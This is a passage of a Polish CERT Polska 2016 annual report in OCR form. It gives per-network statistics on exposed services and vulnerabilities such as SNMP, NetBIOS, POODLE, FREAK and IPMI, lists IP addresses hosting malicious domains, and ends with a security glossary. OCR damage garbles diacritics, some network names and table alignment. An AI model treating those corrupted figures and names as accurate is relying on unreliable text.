obserwowaliémy spadek wystepowania SSDP
o okoto 30 proc.

1 5617 Orange

2 12741 Netia

3 29314 Vectra

4 41256 Servcom

5 21021 Multimedia

6 43939 Internetia

7 8374 Plus / Cyf.
Polsat

8 196883 MT-Net

9 35191 ASTA-NET

10 20960 TK Telekom

10 345 13 450 0.19%
3 531 4715 0.21%
3081 4 604 0.58%
1791 2110 4,73%
761 1090 0.13%
631 935 0.24%
427 611 0,03%
421 539 10.28%
388 504 0.67%
386 653 0.16%

Tabela 18. Liczba adreséw IP na ktérych wykryto ustuge SSDP dostepng na zewnetrznym inter-

fejsie w podziale na systemy autonomiczne
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SNMP

Simple Network Management Protocol to pro-
tokdt do zdalnego zarzgdzania urzgdzeniami
sieciowymi. Zazwyczaj zalecane jest uzywanie
go wytgcznie w wydzielonych sieciach zarzg-
dzajgcych, a w szczegdlnosci nie na publicz-
nie dostepnych adresach. Poza zagrozeniem
nieuprawnionego dostepu do urzgdzenia,
ustuga SNMP do ktérej] mozna potgczy¢ sie
zinternetu moze by¢ wykorzystana do atakéw
DDoS.

Otrzymaliémy 10 153 916 zgtoszeh o 1 701 995
unikalnych adresach IP, na ktérych udostep-
niono te ustuge. Srednia dzienna to 31 462
unikalnych adreséw IP. Dla systemdw autono-
micznych 5617 (Orange), 12741 (Netia) oraz
21021 (Multimedia) zaobserwowali$my niewiel-
kg tendencje spadkowqg adresdw z wystawio-
nymi ustugami SNMP.

1 5617 Orange

2 12741 Netia

3 8798 PAGI

4 197201 SM LW Sto-
wianin

5 6830 UpC

6 196883 MT-Net

7 6714 GTS

8 12912 T-Mobile

9 8374 Plus / Cyf.
Polsat

10 20960 TK Telekom

12312 17 532 0.22%
9793 11687 0.59%
867 1157 10,93%
531 587 12,97%
436 1196 0.00%
407 513 9.95%
378 944 0.11%
306 693 0.04%
267 380 0.02%
264 389 0.11%

Tabela 19. Liczba adreséw IP na ktérych wykryto dziatajgcg ustuge SNMP dostepng na
zewnetrznym interfejsie w podziale na systemy autonomiczne
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Port mapper

Port mapper to niskopoziomowa ustuga typo-
wa dla unixowych systemdw operacyjnych.
Korzystajg z niej protokoty wyzszych warstw,
w fym m.n. NFS (sieciowy system plikdw).

Publicznie dostepny port mapper stanowi za-
grozenia z uwagi na mozliwo$¢ jego wykorzy-
stania w atakach DDoS.

Srednio dziennie obserwujemy az 28 343 adre-
séw IP, na ktérych jest uruchomiona ta ustuga.

1 5617 Orange

2 198414 Biznes-Host.pl
3 12741 Netia

4 29522 KEI

5 197226 Spint Data
6 57367 DevonStudio
7 6830 UpPC

8 15694 ATMAN

9 20853 ETOP

10 31242 3S

2335 2 655 0,04%
1390 1728 11,55%
1258 1393 0,08%
1161 1864 1,70%
592 728 4,06%
564 666 4,08%
515 555 0,00%
484 550 0,66%
458 511 2,26%
431 502 0,44%

Tabela 20. Liczba adresdw IP na ktérych wykryto ustuge port mapper dostepng na publicznym

interfejsie w podziale na systemy autonomiczne
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NetBIOS

NetBIOS to niskopoziomowy protokdt wykorzy-
stywany przede wszystkim przez systemy Mi-
crosoft. Powinien by¢ wykorzystywany wytqgcz-
nie w sieciach lokalnych, a jedli jest dostepny
z sieci publicznej, stanowi zagrozenie - nie tylko
w zwigzku z mozliwoscig wykorzystania w ata-
kach DDoS.

Otrzymaliémy tgcznie 7 903 175 zgtoszeh o 161
177 unikalnych adresach IP, a §rednia dzienna
to 23 795 adresdéw. W sieci Orange zaobser-
wowalismy staty tfrend rosngcy: od okoto 7 tys.
urzgdzen z otwartqg ustugg NetBIOS w styczniu
do ponad 10 tys. w grudniu.

1 5617 Orange

2 49185 Protonet

3 12741 Netia

4 198414 Biznes-Host.pl
5 8970 WCSS

o e Telod
7 8267 CYEESOHN ET
9 12824 home.pl
10 21021 Multimedia

9 590 11788 0.17%
2255 2628 9,47%
2014 2337 0.12%
1 540 1739 12,80%
413 554 0.63%
378 439 0.03%
291 363 0.38%
275 416 0.42%
200 230 0.10%
181 253 0.03%

Tabela 21. Liczba adreséw IP na ktérych wykryto ustuge NetBIOS na publicznym interfejsie

w podziale na systemy autonomiczne
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Podatne ustugi

W roku 2016 otrzymalismy zgtoszenia dotyczg-
ce 1,8 miliona unikalnych adreséw IP, ktdre sq
narazone na ataki oraz wyciek informaciji. Na
kolejnych stronach przedstawiamy szczegoto-
we informacje dla naijistotniejszych zagrozen
tego rodzaju. Przedstawione statystyki zostaty
obliczone analogiczne jak w poprzedzajgcym
podrozdziale.

Wysoko w rankingu najczesciej wystepujgcych
podatnych ustug znajdujg sie TFTP (drugie
miejsce) i RDP (trzecie miejsce). Najczesciej
spotykang praktykq jest zabezpieczenie tego
rodzaju ustug poprzez ograniczanie dostepu
z zewnetrznych adresdw, dlatego fakt wystg-
pienia publicznie dostepnej ustugi moze wska-
zywaé na btgd konfiguracii i potencjalng po-
datnos¢. Natomiast opierajgc sie na samym

fakcie zgtoszenia dostepnosci, nie ma pewno-
sci, czy faktycznie dana ustuga jest podatna.
Na przyktad RDP moze posiadac ustawione
sine hasto, co moze stanowi¢ wystarczajgce
zabezpieczenie przed nieuprawnionym do-
stepem, o ile nie zostanie odkryta nowa po-
datnos¢ w aplikacji pozwalajgca na obejscie
uwierzytelnienia.

O ile podobne podejscie mozna by zastoso-
wac¢ do baz danych lub podobnych aplikaciji
(Memcached, MongoDB, Elasticsearch, Redis,
DB2), w ich przypadku dostep publiczny jest
niemal na pewno wynikiem btednej konfigu-
racjq i nalezy takg sytuacje traktowac jako
podatnose.

W zestawieniu pomineliimy ustugi, o ktérych
mielismy niewiele zgtoszen, lub co do ktdrych
nie bylismy w stanie okredli¢ liczby podatnych
serwerdw z wystarczajacq pewnosciq.

1 POODLE 360 459
2 TFTP 47 479
3 RDP 45340
4 NAT-PMP 15 256
5 FREAK 4583
6 IPMI 2 526
7 Memcached 478
8 MongoDB 284
9 Elasticsearch 65
10 Redis 65
11 DB2 17

424 458 80 532 73%
50 864 4372 11%
50 869 5968 12%
15 849 481 90%
5247 594 86%
2937 260 21%

765 86 92%
333 23 90%
83 8 92%
81 8 91%
25 4 47%

Tabela 22. Podatne ustugi. Odchylenie standardowe dotyczy zmiennosci w dziennej liczbie
adreséw IP obserwowanych na przestrzeni roku, a tgczny czas obserwacji odpowiada liczbie dni
w ciggu roku, dla ktérych mielismy informacje o danej ustudze
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POODLE

Znane podatnosci protokotu SSL/TLS sq na-
dal powszechnym zjawiskiem wéréd uzytkow-
nikdw polskiego intermetu. Zdecydowanie
najczesciej wystepujgcq jest POODLE, ktéra
umozliwia przeprowadzenie ataku doprowa-
dzajgcego do ujawnienia zaszyfrowanych
informacji. OtrzymaliSmy 96 241 154 zgtoszenh
o 1 463 023 unikalnych adresach IP, $rednia
dzienna wynosita 360 459 adreséw.

Operator, ktérego dotyczy najwiecej zgtoszen
to Netia, gdzie znajduje sie wiekszo$¢ podat-
nych urzgdzeh w polskich sieciach. Co praw-
da zaobserwowaliémy niewielkg tendencje
spadkowq w sieciach Netii, ale nadal réznica

miedzy pozostatymi operatorami jest bardzo
duza.

Biorgc pod uwage rozmiar systemu auto-
nomicznego, zaskakujgco wiele adresow
w sieciach Petrotel (AS29007) i Biznes-Host.
pl (AS198414) posiada podatnod¢ na atak
POODLE. W sieci Petrotel zaobserwowali$my
réwniez staty wzrost liczby podatnych urzgdzenh
w ciggu roku.

Mimo powszechnego wystepowania, POODLE
nie jest podatnosciq najwyzszego ryzyka, po-
niewaz nie umozliwia ona wykradzenia kluczy
kryptograficznych, ani bezposrednio przejecia
kontroli nad serwerem oraz wymaga aktywne-
go przechwycenia sesji TCP (atak typu man-in
-the-middle).

1 12741 Netia

2 43939 Internetia

3 5617 Orange

4 29007 Petrotel

5 41256 Servcom

6 198414 Biznes-Host.pl
7 6830 UrC

8 20960 TK Telekom
9 6714 GTS

10 21021 Multimedia

246 074 278 846 14,95%
28 536 33 995 10,78%
18172 22 695 0.33%
2958 3 697 18,05%
2 587 3552 6,83%
2359 2 681 19.61%
2214 2 841 0.02%

1846 2825 0.74%
1387 3267 0,40%
1354 1917 0.23%

Tabela 23. Liczba adreséw IP na ktérych wykryto ustuge SSL z podatnoscig POODLE w podziale

na systemy autonomiczne
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NAT-PMP

NAT Port Mapping Protocol (NAT-PMP) to pro-
sta ustuga implementowana czesto na ro-
uterach domowych, ktéra pozwala na auto-
matyczne otwieranie portdéw na publicznych
interfejsach sieciowych. Poniewaz protokdt
nie uwzglednia uwierzytelnienia i pozwala
na uzyskanie dostepu do sieci wewnetrznej,
specyfikacja zabrania wystawiania ustugi na

publicznym interfejsie sieciowym. Mimo tego
wiele urzqdzen przyjmuje zgdania NAT-PMP
z dowolnego interfejsu (szczegdty: http://
www kb.cert.org/vuls/id/184540).

Otrzymalidmy tgcznie 5 111 487 zgtoszen
o 181 473 unikalnych adresach IP, na ktérych
wykryto te ustuge. Srednia wynosi 15 849 adre-
sOw dziennie.

1 5617 Orange
2 12741 Netia

3 20960 TK Telekom
4 48559 Infomex
5 31242 3S

6 60317 Infomex
7 21021 Multimedia
8 197300 Infomex
9 50188 KOLNET
10 29314 Vectra

1307 1 404 0,02%
1159 1222 0,07%
815 872 0.33%
759 814 9.88%
628 804 0.63%
547 591 26,71%
540 569 0.09%
493 534 32,08%
451 586 4,41%
397 510 0,08%

Tabela 24. Liczba adreséw IP na ktérych wykryto ustuge NAT-PMP dostepng na publicznym

interfejsie w podziale na systemy autonomiczne
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FREAK

Podatno$¢ FREAK (Factoring Attack on RSA
-EXPORT Keys) bazuje na wykorzystaniu kluczy
poziomu eksportfowego w SSL/TLS. Chociaz
mechanizm ataku jest inny, podobnie jak w
przypadku POODLE, w efekcie podatno$¢ ta
umozliwia podstuchanie tresci szyfrowanej ko-
munikacji (szczegdty: https://mitls.org/pages

attacks/SMACK#freak).

Otrzymaliémy tgcznie 1 464 108 zgtoszeh o 148
781 unikalnych adresach IP, srednio 4 583 ad-
reséw dziennie. Co ciekawe, niemal wszystkie
zgtoszenia dotyczyty sieci Netii, gdzie zidenty-
fikowanych zostato blisko dwudziestokrotnie
wiecej podatnych serweréw niz w nastepnej
w rankingu Internetii i okoto czterdziestokrotnie
wiecej w poréwnaniu z Orange. W zestawieniu
pominelismy systemy autonomiczne ze $redniq
dzienng ponizej 10 adresdw.

1 12741 Netia

2 43939 Internetia
3 5617 Orange

4 31229 e24cloud
5 6830 urC

4107 4 657 0.25%
224 260 0.08%
103 143 0,00%

14 23 0,05%
10 15 0.00%

Tabela 25. Liczba adreséw IP na ktérych wykryto ustuge SSL/TLS z podatnoéciq FREAK w podziale

na systemy autonomiczne
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IPMI

W przypadku niektérych ustug interesujgcym
zjawiskiem sq gwattowne zmiany w liczbie
niepoprawnie skonfigurowanych urzgdzen.
Przyktad stanowi liczba serwerdw udostepnia-
jacych ustuge IPMI (Intelligent Platform Mana-
gement Interface).

IPMI to interfejs umozliwiajgcy zdalne zarzg-
dzanie serwerami na poziomie sprzetowym,

zazwyczaj wykorzystujgcy do komunikacii port
623 UDP. Podobnie jak SNMP, w typowych
przypadkach nie powinien by¢ poza sieciq zo-
rzqdzajgcq z powodu ryzyka nieuprawnionego
dostepu do serwera (szczegdty: hitps://www.
us-cerf.gov/ncas/alerts/TA13-207A). W lipcu
i sierpniu zaobserwowalismy skokowe zmniej-
szenie sie liczby zgtoszen dotyczgcych TK
Telekom (AS20960) oraz UPC (ASé830). Spo-
wodowane byto to prawdopodobnie rekonfi-
guracjq urzgdzen klienckich lub ich wymiang.

1 29232 PAI

2 47544 IQ PL

3 20853 ETOP

4 198153 Dediserv
5 5617 Orange
) 12741 Netia

7 15694 ATMAN

8 6830 upC

9 20960 TK Telekom
10 29522 KEI

440 575 14,31%
257 286 1,52%
161 179 0.80%
113 124 4,40%
110 126 0,00%
102 114 0.01%
101 114 0.14%
93 144 0,00%
44 76 0.02%
43 52 0.06%

Tabela 26. Liczba adreséw IP na ktdrych wykryto ustuge IPMI dostepng na publicznym interfejsie

w podziale na systemy autonomiczne
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Ztosliwe Strony

Zebralismy informacje o 10 590 098 adresach
URL zwigzanych ze ztosliwym oprogramowa-
niem. lch domeny rozwiqzywaty sie na 495 339
adresy IP. Z tego 342 312 unikalnych adresdw
URL zawierato 37 728 domen w TLD .pl. Tak
duza liczba adreséw URL spowodowana jest
zgtaszaniem wielu wariantéw adreséw, ktére
rézniq sie jedynie ostatnimi fragmentami. Dla
niektérych domen liczba zgtoszeh réznych ad-
resow URL przekracza nawet 10 tys.

Mozna zauwazy¢, ze duza liczba domen uzy-
wanych do rozpowszechniania ztosliwego
oprogramowania jest rejestrowana w podmio-

1 668 217.74.66.167
2 606 95.211.144.65
3 582 89.161.255.30
4 477 213.180.150.17
5 344 46.242.145.98
6 343 95.211.80.4

7 310 193.203.99.114
8 262 46.242.145.94
9 243 217.97.216.17
10 223 91.214.239.42

tach, ktére nieodptatnie udostepniajg nazwy
domenowe trzeciego poziomu. Zaobserwo-
walismy 682 unikalnych domen trzeciego po-
ziomu dla strefa.pl i 882 dla .cba.pl. Mozna
réwniez zauwazy¢, ze wiele z domen .pl byto
utrzymywanych w niewielkiej liczbie firm ho-
stingowych, czesto na tym samym adresie IP,
co ilustruje tabela 27.

W tabeli 28 przedstawiamy zestawienie syste-
moéw autonomicznych ze wzgledu na liczbe
adreséw IP, na ktdre rozwiqzywaty sie wszyst-
kie ztodliwe adresy URL, o ktdrych zebraliémy
informacje. Najczesciej obserwowalismy ad-
resy w systemach autonomicznych home.pl
i nazwa.pl.

16138 Interia
60781 LeaseWeb
12824 home.pl
12990 Onet.pl
12824 home.pl
60781 LeaseWeb
47303 Redefine
12824 home.pl
5617 Orange
43325 Xevin Consulting

Tabela 27. Adresy IP na ktérych byty utrzymywane najwiecej domen .pl zwigzanych ze ztosliwym

oprogramowaniem
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1 2951 12824 home.pl 1,44% 29,69%
2 2 626 15967 Nazwa.pl 2,67% 26,42%
3 343 29522 KEl 0.50% 3,45%
4 340 198414 H88. 2.83% 3.42%
5 215 197226 Sprint Data Center 1.47% 2,16%
6 212 43333 NEPHAX 1,20% 2,13%
7 206 16276 OVH 0.01% 2,07%
8 126 29314 VECTRA 0.02% 1,27%
9 121 5617 Orange 0,00% 1,22%
10 119 12741 Netia 0.01% 1,20%

Tabela 28. Systemy autonomiczne, gdzie byto utrzymywanych najwiecej ztodliwych adreséw URL
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Stowniczek
podstawowych pojeé

Ataki bruteforce - ataki polegajgce na seryjnych prébach odgadniecia hasta dostepu

do ustugi

Banker - rodzaj ztosliwego oprogramowania, ktérego celem jest ingerencja w korzystanie
uzytkownika z systemu bankowego, a docelowo kradziez pieniedzy

Bot (inaczej: zombie) - komputer, nad ktérym, dzieki dziatajgcemu na nim ztodliwemu
oprogramowaniu, petng kontrole posiada inna osoba niz wiasciciel

Botnet - wiele botdw zarzadzanych wspdlnie przez jedng osobe lub grupe oséb

DosS (denial of service; dostownie: odmowa ustugi) — atak, ktérego skutkiem jest uniemozli-
wienie dostepu do ustugi na serwerze (na przyktad pobrania strony WWW)

DDoS (distributed denial of service) — atak DoS przeprowadzany z wielu zroddet jednoczednie
DRDosS (distributed reflected denial of service) — atak DDoS przeprowadzony z wykorzysta-
niem poéredniczgcych serwerdw, do ktérych atakujqcy kieruje zapytania z fatszywym
adresem Zrédta tak, aby odpowiedszi frafiaty do rzeczywistego celu ataku

exploit kit - rodzaj ztosliwego oprogramowania wykonywanego na serwerze WWW,
starajgcego sie wykorzystac¢ luke w oprogramowaniu klienckim uzytkownika odwiedzajgce-
go strone (np. przeglgdarce WWW, wtyczkach do odtwarzania wideo) do wykonania
polecen na jego komputerze

fast flux — mechanizm stuzgcy podniesieniu odpornosci infrastruktury przestepczej

(np. serweréw C&C), w ktérym dla danej nazwy domenowej zwracane jest przez DNS wiele,
czesto wymienianych adresdw IP (zazwyczaj nalezgcych do botdw)

Honeypot - serwer lub oprogramowanie klienckie udajgce podatne oprogramowanie

z zamiarem poddania sie w kontrolowany sposéb atakowi celem lepszego poznania jego
mechanizméw

Luka - btgd w oprogramowaniu, ktéry ma wptyw na bezpieczehstwo jego uzytkowania
Luka 0 Day — podatno$¢ 0 day (podatno$¢ dnia zero) - podatnosé, o ktdrejistnieniu

nie wiadomo powszechnie (w szczegdlnosci, nie wie o niej producent oprogramowania),

a co za tym idzie nie sg znane dla niej sposoby zabezpieczenia

Malware (od malicious software) - patrz: ztosliwe oprogramowanie

Obfuskacja (od obfuscation = zaciemnienie kodu) — celowe zapisanie kodu programu w taki
sposdb aby byt on jak najbardziej nieczytelny i frudny do analizy

Phishing — atak majgcy na celu wydobycie informaciji (np. hasta) przez podszycie sie pod
zaufany podmiot (na przyktad bank)

Ransomware (od ransom = okup i malware) — rodzaj zto$liwego oprogramowania, ktére
uniemozliwia uzytkownikowi dostep do jego danych (najczeiciej przez zaszyfrowanie),

a do przywrdcenia go wymaga wptacenia okupu

Sandbox - srodowisko do kontrolowanego wykonywania kodu, ktéry moze by¢ ztoliwy,
najczesciej dodatkowo umozliwiajgce rejestrowania i analize efektéw

Serwery C&C - serwery stuzgce do kontrolowania botnetu, np. wydawania polecen,

zmian konfiguracii

Sinkhole - serwer, na ktéry przekierowany jest ruch np. z przejetej domeny wykorzystywanej
w botnecie

Spearphishing — atak typu phishing ukierunkowany na konkretne osoby, np. konkretnych
dyrektorow, ksiegowdq, zazwyczaj z odpowiednio przygotowanym scenariuszem, w ktérym
wykorzystane sg informacje zebrane na ich temat, np. za posrednictwem mediéw
spotecznosciowych
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Trojan - rodzaj ztodliwego oprogramowania, w ktérym ztosliwy kod jest czescig innego
programu lub dokumentu, ktéry wyglgda na nieszkodliwy

Tor (The Onion Router) — wirtualna sie¢ komputerowa pozwalajgca na tgczenie sie

z serwisami internetowymi, lub tworzenie wtasnych serwiséw (dostepnych wytgcznie

w ramach sieci Tor) w taki sposéb, aby niemozliwe byto ustalenie rzeczywistego adresu

IP uzytkownika

Unpacker — cze$¢ programu odpowiedzialna za rozpakowanie (czesto takze rozszyfrowanie)
wtasciwego ztosliwego kodu

Webinject - fragment kodu HTML umieszczany w tredci strony pobieranej przez przegladarke
na zarazonym komputerze; moze na przyktad dodawaé do zwyktej strony reklamy,

lub Zgdania podania dodatkowych koddw, haset itp.

Ztosliwe oprogramowanie — oprogramowanie, ktérego dziatanie powoduje szkody

dla uzytkownika



Kontakt

Zgtaszanie incydentow: cert@cert.pl
Zgtaszanie spamu: spam@cert.pl
Informacja: info@cert.pl

Klucz PGP: www.cert.pl/pub/0x553FEBOY.asc
Strona WWW: www.cert.pl

Facebook: fb.com/CERT.Polska

RSS: www.cert.pl/rss

Twitter: @CERT_Polska, @CERT_Polska_en
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Zeskanuj kod i odwiedz
naszg strone internetowg
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